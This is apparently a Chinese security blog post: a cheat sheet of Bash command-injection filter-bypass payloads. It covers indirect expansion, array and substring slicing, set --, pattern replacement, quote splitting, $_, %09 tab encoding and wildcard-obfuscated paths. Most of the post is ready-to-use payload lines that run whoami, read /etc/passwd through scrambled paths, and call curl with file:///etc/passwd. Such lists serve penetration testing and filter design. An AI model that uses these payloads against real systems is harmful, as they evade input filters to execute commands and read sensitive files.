公众号:泷羽Sec---风宵
对oscp感兴趣的可以私聊我喔~
目录
命令执行绕过
${!绕过
Bash 会解析 $ 包裹的内容
$"" $'' $() \`$id`
在 test 目录下创建了一个名为 whoami 的文件,当通过 $(ls) 的方式访问时,其中的 $ 符号会继续解析 ls 命令的结果。
通过查阅官方文档${!,我们可以间接地进行扩展,借此方式实现命令执行的绕过。
当parameter的首个字符为感叹号(!),且parameter并非nameref时,它引入了一个间接层级。此时,Bash会将剩余参数展开后得到的值作为新的参数;随后对这个值进行扩展,并且在扩展的剩余部分中使用这个值,而非原始参数的扩展。这种操作被称为indirect expansion。扩展的值还可以进行波形符扩展、参数扩展、命令替换及算术扩展。若参数是nameret,那么它将展开为参数引用的变量名,而非执行完整的间接扩展。例外情况是前缀和{!名称@],如下所示。
值得注意的是,感叹号必须紧跟在左大括号之后,才能建立间接关系。
var1=i;name=var1;${!name}d
当存在*@符号时,系统会匹配相应的前缀,从而同样可以实现绕过。
wh=wh;o=o;ami=am;${!wh@}${!o@}${!ami@} wh=wh;o=o;ami=am;${!wh*}${!o*}${!ami*} who=who;mi=mi;${!who*}a${!mi*} who=who;mi=mi;${!who@}a${!mi@}
数组参数绕过
names=("i" "d");${names[0]}${names[1]}
${绕过
经检验,若 ${ 中包含已定义的变量,并且在变量名中插入了特殊符号,${ 将优先解析并提取该变量的值,同时无视符号内的其他文本,并将提取的值与括号外的文本连接起来。
ff=whoa;${ff?6666666666666666666}mi ff=whoa;${ff/6666666666666666666}mi ff=whoa;${ff-6666666666666666666}mi a=whoa;ff=$a;${ff?6666666666666666666}mi
string绕过
whoami
string=who123esaxami;${string:0:3}${string:10:12} names=("who123esaxami" "d");${names[0]:0:3}${names[0]:10:12} array[0]=who123esaxami;${array[0]:0:3}${array[0]:10:12}
--绕过(作为set的特殊用法)
在 Linux 系统中,使用
--
这个标志的一个重要作用是告诉命令解析器,后续的参数将不再被视为选项。这意味着所有在--
后面出现的参数都会被当作普通的输入参数进行处理,而不是被解析为选项或开关。这一特性在处理用户输入或脚本参数时非常有用,尤其是在需要传递以-
开头的参数时。为了结合这一特性,用户可以使用
set
命令来修改位置参数,其中set
命令可以重新赋值给 shell 的位置参数,通过这种方式,可以根据需要将参数拼凑成所需的形式。此外,另一种实现相同目的的方式是使用@
符号。在 shell 中,$@
代表所有的位置参数,这使得用户能够灵活地处理多个参数并将它们传递给其他命令或脚本。这两种方法都提供了对命令行参数处理的强大控制能力,适合在编写脚本或者处理复杂命令时使用。set -- 123who456ami;${:3:3}${:9:3}
![]()
c=set -- w h o a m i;$1$2$3$4$5$6
array绕过
@符号能够用来检索当前全部元素,且能够逐一逐个地返回这些元素。
* 符号则用于指示当前位置的全部元素,并且这些元素将会按照空格分隔。
这两种符号同样支持利用 :: 进行字符串的截取操作。
array=(0 1 2 3 4 5 6 123 ami);who${array[@]:8}
array=(0 1 2 3 4 5 6 who ami);${array[@]:7:1}${array[@]:8}
#与%格式的绕过
${var#.}
将识别并移除最短的 '.' 及其前面的内容,只保留 '.' 之后的部分;
${var##.}
则会找出最长的 '.' 及其前面的内容并删除,仅返回剩下的最末尾部分。同 '#' 的作用相似,然而 '%' 会从字符串的尾部开始匹配,并且保留匹配到的部分。
var="example.who";var1="example.ami";${var#*.}${var1#*.} var="example.123.666.who";var1="example.ami";${var##*.}${var1#*.} c=var2="who.666";var3="ami.666";${var2%.*}${var3%.*}
字符串匹配绕过
${parameter/pattern/string}:替换参数 parameter 中首次与 pattern 匹配的文本为 string。
${parameter//pattern/string}:将参数 parameter 中所有与 pattern 匹配的文本替换为 string。
${parameter/#pattern/string}:仅在参数 parameter 开头部分匹配 pattern 时,替换开头的 pattern 为 string。
${parameter/%pattern/string}:仅在参数 parameter 结尾部分匹配 pattern 时,替换结尾的 pattern 为 string。
var="w123hoami";${var/123/} var="w123oami";${var/123/h} var1=w123ho123am123i;${var1//123/} var1=123ami;${var1/#123/who} var1=who123;${var1/%123/ami} var1=who123;rep=ami;${var1/%123/$rep}
' " \绕过
在 Linux 系统中,反斜杠 \用于转义字符,单独使用时并不会对命令本身的执行产生影响。
c=w\h\oa\m\i c=whoam''i who""ami
环境变量绕过
c=declare -x VARIABLE_NAME2="wh";declare -x VARIABLE_NAME3="oami";$VARIABLE_NAME2$VARIABLE_NAME3
bash变量绕过
c=ami;who$_
$_代表前面一个命令的结果。
参数命令执行绕过
array=(ls 222 -al);${array[*]}
%09绕过
命令+属性
ls%09%09-al
命令+参数
cat%09%09%09%09%09%09%09%09111111%09/etc/passwd cat%09%09%09%09%09%09%09%09111111%09/et?/pa??wd curl%09http://127.0.0.1:8088121waqdasd%09http://127.0.0.1:8087
bin绕过
/tmp/../bin/whoami
al绕过
ls -%eH(url编码)al
ls -a%eH(url编码)l
ls -al%WC(url编码)
命令+文件
cat /etc/passwd
绕过方式
需要通配符去打乱
cat%20/e?c/passwd cat%20/e*c/passwd
多个参数绕过(第一参数满足长度小于即可)
cat+1+/etc/passwd
敏感文件的绕过直接打乱/etc/passwd的直接顺序即可
cat+1+/etc//passwd cat+1+/etc*/passwd cat+1+/etc/passwd cd+/etc+%26%26+cat+passwd cat ~/../../etc/snmp/../passwd curl <file:///etc/passwd>
好啦,本文的内容就是这些了,希望对你们有所帮助,还望多支持我呀,谢谢你们。。